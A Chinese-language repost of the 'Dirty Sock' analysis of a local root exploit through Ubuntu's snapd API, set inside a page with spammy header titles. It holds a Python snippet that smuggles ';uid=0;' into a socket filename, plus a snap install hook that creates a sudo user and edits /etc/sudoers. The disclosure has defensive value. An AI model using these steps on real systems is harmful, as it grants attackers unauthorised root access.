中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行Ubuntu Linux中的特權提升漏洞Dirty Sock分析

發布時間:2021-11-11 15:30:00 來源:億速云 閱讀:147 作者:柒染 欄目:編程語言

如何進行Ubuntu Linux中的特權提升漏洞Dirty Sock分析,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。

由于默認安裝的服務snapd API中的一個bug,通過默認安裝的Ubuntu Linux被發現存在特權提升漏洞,任何本地用戶都可以利用此漏洞直接獲取root權限。

概述

首先在此提供dirty_sock代碼倉庫中兩個有效的exploit:

dirty_sockv1:基于Ubuntu SSO的詳細信息,使用create-user API創建本地用戶。

dirty_sockv2:側加載snap,其中包含生成新本地用戶的install hook。

兩者都對默認安裝的Ubuntu有效。大部分測試是在18.10版本完成的,不過舊版本也受改漏洞影響。值得一提的是,snapd團隊對此漏洞回應迅速且處理妥善。直接與他們合作也是非常愉快。

snapd提供了附加到本地UNIX_AF socket的REST API,通過查詢與該socket連接的關聯UID來實現對API的訪問控制。在for循環進行字符串解析的過程中,用戶可控的socket數據可以覆蓋UID變量,從而允許任何用戶訪問任何API函數。而通過訪問API,有多種方法可以獲取root權限,上面鏈接的exploit就展示了兩種可能性。

背景:什么是snap?

為了簡化Linux系統上的打包應用程序,各種新的競爭標準紛紛出現。作為其中的一個發行版,Ubuntu Linux的開發商Canonical也在推廣他們的“Snap”,類似于Windows應用程序,snap將所有應用程序依賴項轉換為單個二進制文件。

Snap生態包含一個“應用商店”,開發人員可以在其中發布和維護即時可用的軟件包。

本地的snap和在線商店的通信部分由系統服務“snapd”處理。此服務自動安裝在Ubuntu中,并在“root”用戶的上下文中運行。Snapd正在發展成為Ubuntu操作系統的重要組成部分,特別是在用于云和物聯網的“Snappy Ubuntu Core”等更精簡的發行版中。

漏洞總覽

有趣的Linux操作系統信息

snapd服務在位于/lib/systemd/system/snapd.service的unit文件中被描述。

以下是前幾行:

[Unit]
Description=Snappy daemon
Requires=snapd.socket

順著這個我們找到systemd socket unit文件,位于/lib/systemd/system/snapd.socket,其中提供了一些有趣的信息:

[Socket]
ListenStream=/run/snapd.socket
ListenStream=/run/snapd-snap.socket
SocketMode=0666

Linux通過稱為“AF_UNIX”的socket在同一臺機器上的進程之間進行通信。“AF_INET”和“AF_INET6”socket則用于通過網絡連接的進程通信。上面顯示的內容告訴我們系統創建了兩個socket文件。'0666'模式則為所有人設置文件讀寫權限,只有這樣才可以允許任何進程連接并進行socket通信。

我們可以通過文件系統在查看這些socket文件:

$ ls -aslh /run/snapd*
0 srw-rw-rw- 1 root root  0 Jan 25 03:42 /run/snapd-snap.socket
0 srw-rw-rw- 1 root root  0 Jan 25 03:42 /run/snapd.socket

我們可以通過Linux中的nc工具(只要是BSD風格)連接到像這樣的AF_UNIX socket。以下是一個示例。

$ nc -U /run/snapd.socket
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
Connection: close
400 Bad Request

碰巧,攻擊者在入侵計算機后要做的第一件事就是查找在root上下文中運行的隱藏服務,HTTP服務器是利用的主要目標,而它們通常與網絡套接字有關。

現在我們知道有一個很好的利用目標 - 一個隱藏可能沒有被廣泛測試的HTTP服務。另外,我正在開發一個提權工具uptux,該工具可識別出此漏洞。

存在漏洞的代碼

作為一個開源項目,我們利用源代碼繼續進行靜態分析。開發人員提供了有關此REST API的文檔。

對于利用而言,一個非常需要的API函數是“POST/v2/create-user”,簡稱為“創建本地用戶”。文檔告訴我們這個調用需要root權限才能執行。那么守護進程究竟是如何確定訪問API的用戶是否已經擁有root權限?

順著代碼我們找到了這個文件,現在來看這一行:

ucred, err := getUcred(int(f.Fd()), sys.SOL_SOCKET, sys.SO_PEERCRED)

這是調用golang的標準庫之一,用來收集與套接字連接相關的用戶信息。基本上,AF_UNIX socket系列有一個選項,可以在附加數據中接收發送過程的憑據(請參閱Linux命令行中的man unix)。這是確定訪問API的進程權限的一種相當可靠的方法。

通過使用名為delve的golang調試器,我們可以確切地看到上文執行“nc”命令時返回的內容。下面是在此函數中設置斷點時調試器的輸出,然后使用delve的“print”命令來顯示變量“ucred”當前包含的內容:

> github.com/snapcore/snapd/daemon.(*ucrednetListener).Accept()
...
   109:	ucred, err := getUcred(int(f.Fd()), sys.SOL_SOCKET, sys.SO_PEERCRED)
=> 110:	if err != nil {
...
(dlv) print ucred
*syscall.Ucred {Pid: 5388, Uid: 1000, Gid: 1000}

不錯。它知道了我的uid為1000,即將拒絕我訪問敏感的API函數。如果程序在這種狀態下調用這些變量,那么結果就符合預期了,然而事實并非如此。

其實在此函數中還包含一些額外的處理,其中連接信息與上面發現的值會一起被添加到一個新對象:

func (wc *ucrednetConn) RemoteAddr() net.Addr {
return &ucrednetAddr{wc.Conn.RemoteAddr(), wc.pid, wc.uid, wc.socket}
}

這些值被拼接成一個字符串變量:

func (wa *ucrednetAddr) String() string {
    return fmt.Sprintf("pid=%s;uid=%s;socket=%s;%s", wa.pid, wa.uid, wa.socket, wa.Addr)
}

最后經由函數解析,字符串再次被分解為單個變量

func ucrednetGet(remoteAddr string) (pid uint32, uid uint32, socket string, err error) {
...
for _, token := range strings.Split(remoteAddr, ";") {
var v uint64
...
} else if strings.HasPrefix(token, "uid=") {
if v, err = strconv.ParseUint(token[4:], 10, 32); err == nil {
uid = uint32(v)
} else {
break
}

最后一個函數的作用是將字符串用“;”字符拆分,然后查找以“uid =”開頭的任何內容。當它遍歷完所有拆分時,第二次出現的“uid =”會覆蓋掉第一個。

所以如果我們能以某種方式將任意文本注入此函數中...

回到delve調試器,我們可以查看一下“remoteAddr”字符串,看看在實現正確的HTTP GET請求的“nc”連接中它包含了什么:

請求:

$ nc -U /run/snapd.socket
GET / HTTP/1.1
Host: 127.0.0.1

調試器輸出:

github.com/snapcore/snapd/daemon.ucrednetGet()
...
=>  41:	for _, token := range strings.Split(remoteAddr, ";") {
...
(dlv) print remoteAddr
"pid=5127;uid=1000;socket=/run/snapd.socket;@"

現在的情況是,我們有一個字符串變量,其中所有變量都拼接在一起,該字符串包含四個元素。第二個元素“uid = 1000”是當前控制權限的內容。

函數將此字符串通過“;”拆分并迭代,如果字符串包含“uid=”),則可能會覆蓋第一個“uid =”。

第一個(socket=/run/snapd.socket)是用來監聽socket的本地“網絡地址”:是服務所定義的綁定文件路徑。我們無法修改snapd,也無法讓其使用另一個socket名來運行。但是字符串末尾的“@”符號是什么? 這個是從哪里來的?變量名“remoteAddr”給了一個很好的提示。在調試器中費了些周折,我們可以看到golang標準庫(net.go)返回本地網絡地址和遠程地址。你可以在下面的調試會話中看到輸出為“laddr”和“raddr”。

> net.(*conn).LocalAddr() /usr/lib/go-1.10/src/net/net.go:210 (PC: 0x77f65f)
...
=> 210:	func (c *conn) LocalAddr() Addr {
...
(dlv) print c.fd
...
laddr: net.Addr(*net.UnixAddr) *{
Name: "/run/snapd.socket",
Net: "unix",},
raddr: net.Addr(*net.UnixAddr) *{Name: "@", Net: "unix"},}

遠程地址會被設置為神秘的@符號。進一步閱讀man unix幫助信息后,我們了解到這與“抽象命名空間”有關,用來綁定獨立于文件系統的socket。命名空間中的socket開頭為null-byte,該字符在終端中通常會顯示為@。

我們可以創建綁定到我們控制的文件名的socket,而不依賴netcat利用的抽象套接字命名空間。這應該允許我們影響想要修改的字符串變量的最后部分,也就是上文的“raddr”變量。

使用一些python代碼,我們可以創建一個包含“;uid=0;”字符串的文件名,通過socket綁定該文件,來啟動與snapd API的連接。

以下為PoC代碼片段:

## 設置包含payload的socket名稱
sockfile = "/tmp/sock;uid=0;"
## 綁定socket
client_sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
client_sock.bind(sockfile)
## 連接到snap守護進程
client_sock.connect('/run/snapd.socket')

現在再看一下remoteAddr變量,觀察調試器中發生的事情:

> github.com/snapcore/snapd/daemon.ucrednetGet()
...
=>  41:	for _, token := range strings.Split(remoteAddr, ";") {
...
(dlv) print remoteAddr
"pid=5275;uid=1000;socket=/run/snapd.socket;/tmp/sock;uid=0;"

我們注入了一個假的uid 0,即root用戶,它會在最后一次迭代中覆蓋實際的uid。這樣我們就能夠訪問API的受保護功能。

在調試器中繼續觀察來驗證這一點,并看到uid被設置為0:

> github.com/snapcore/snapd/daemon.ucrednetGet()
...
=>  65:	return pid, uid, socket, err
...
(dlv) print uid
0

武器化使用

版本一

dirty_sockv1利用的是“POST/v2/create-user”這個API函數。要利用該漏洞,我們只需在Ubuntu SSO上創建一個賬戶,然后將SSH公鑰上傳到賬戶目錄中,接下來使用如下命令來利用漏洞(使用注冊的郵箱和關聯的SSH私鑰):

$ dirty_sockv1.py -u 你的@郵箱.com -k id_rsa

這種方法是非常可靠的,可以安全執行。你可以止步這里并自己嘗試獲得root權限。

還在看? 好吧,對互聯網連接和SSH服務的要求一直在變,我想看看我是否可以在更受限制的環境中利用。這導致我們有了版本二。

版本二

dirty_sockv2使用了“POST/v2/snaps” API來側加載snap,該snap中包含一個bash腳本,可以添加一個本地用戶。這個版本適用于沒有運行SSH服務的系統,也適用于沒有互聯網連接的新版Ubuntu。然而,側加載需要一些核心snap依賴,如果不存在這些依賴,可能會觸發snapd服務的更新操作。這個場景下,我發現這個版本仍然有效,但只能使用一次。

snap本身運行在沙箱環境中,并且數字簽名需要匹配主機已信任的公鑰。然而我們可以通過處于開發模式(“devmode”)的snap來降低這些限制條件,這樣snap就能像其他應用那樣訪問主機操作系統。

此外snap引入了“hooks”機制,其中“install hook”會在snap安裝時運行,并且“install hook”可以是一個簡單的shell腳本。如果snap配置為“devmode”,那么這個hook會在root上下文中運行。

我創建了一個簡單的snap,該snap沒有其他功能,只是會在安裝階段執行的一個bash腳本。

該腳本會運行如下命令:

useradd dirty_sock -m -p '$6$sWZcW1t25pfUdBuX$jWjEZQF2zFSfyGy9LbvG3vFzzHRjXfBYK0SOGfMD1sLyaS97AwnJUs7gDCY.fg19Ns3JwRdDhOcEmDpBVlF9m.' -s /bin/bash
usermod -aG sudo dirty_sock
echo "dirty_sock    ALL=(ALL:ALL) ALL" >> /etc/sudoers

上面加密字符串只是使用Python crypt.crypt()函數處理“dirty_sock”所創建的文本。

以下命令顯示了詳細創建此快照的過程,這都是在開發機器上完成的,而不是目標機器。snap創建完畢后,我們可以將其轉換為base64文本,以便包含到完整的python利用代碼中。

## 安裝必要工具
sudo apt install snapcraft -y
## 創建空目錄
cd /tmp
mkdir dirty_snap
cd dirty_snap
## 初始化目錄作為snap項目
snapcraft init
## 設置安裝hook
mkdir snap/hooks
touch snap/hooks/install
chmod a+x snap/hooks/install
## 寫下我們想要以root執行的腳本
cat > snap/hooks/install << "EOF"
#!/bin/bash
useradd dirty_sock -m -p '$6$sWZcW1t25pfUdBuX$jWjEZQF2zFSfyGy9LbvG3vFzzHRjXfBYK0SOGfMD1sLyaS97AwnJUs7gDCY.fg19Ns3JwRdDhOcEmDpBVlF9m.' -s /bin/bash
usermod -aG sudo dirty_sock
echo "dirty_sock    ALL=(ALL:ALL) ALL" >> /etc/sudoers
EOF
## 配置snap yaml文件
cat > snap/snapcraft.yaml << "EOF"
name: dirty-sock
version: '0.1' 
summary: Empty snap, used for exploit
description: |
    See https://github.com/initstring/dirty_sock
grade: devel
confinement: devmode
parts:
  my-part:
    plugin: nil
EOF
## 搭建snap
snapcraft

一旦有了snap文件,我們就可以通過bash將它轉換為base64,如下所示:

$ base64 <snap-filename.snap>

base64編碼的文本可以放在dirty_sock.py漏洞利用代碼開頭的全局變量“TROJAN_SNAP”中。

漏洞利用代碼本身是用python中寫的,可以執行以下操作:

1.創建一個文件,文件名包含";uid=0;"

2.將socket綁定到該文件

3.連接到snap API

4.刪除(上次留下的)snap

5.(在install hook將運行時)安裝snap

6.刪除snap

7.刪除臨時socket文件

8.提示祝你利用成功

如何進行Ubuntu Linux中的特權提升漏洞Dirty Sock分析

預防和補救措施

打上補丁,snapd團隊在披露后迅速修復了漏洞。

看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

新竹县| 北京市| 华坪县| 阿克| 蒙自县| 贵定县| 新乡县| 芜湖市| 邢台县| 仁布县| 浙江省| 仁寿县| 梨树县| 马山县| 察哈| 阜南县| 商南县| 额尔古纳市| 双桥区| 宜君县| 永济市| 乌拉特前旗| 余江县| 陆川县| 乳山市| 松溪县| 樟树市| 隆安县| 新沂市| 河北省| 武威市| 巴南区| 瓦房店市| 曲阳县| 田林县| 宜黄县| 育儿| 兴安县| 丘北县| 太仓市| 丰顺县|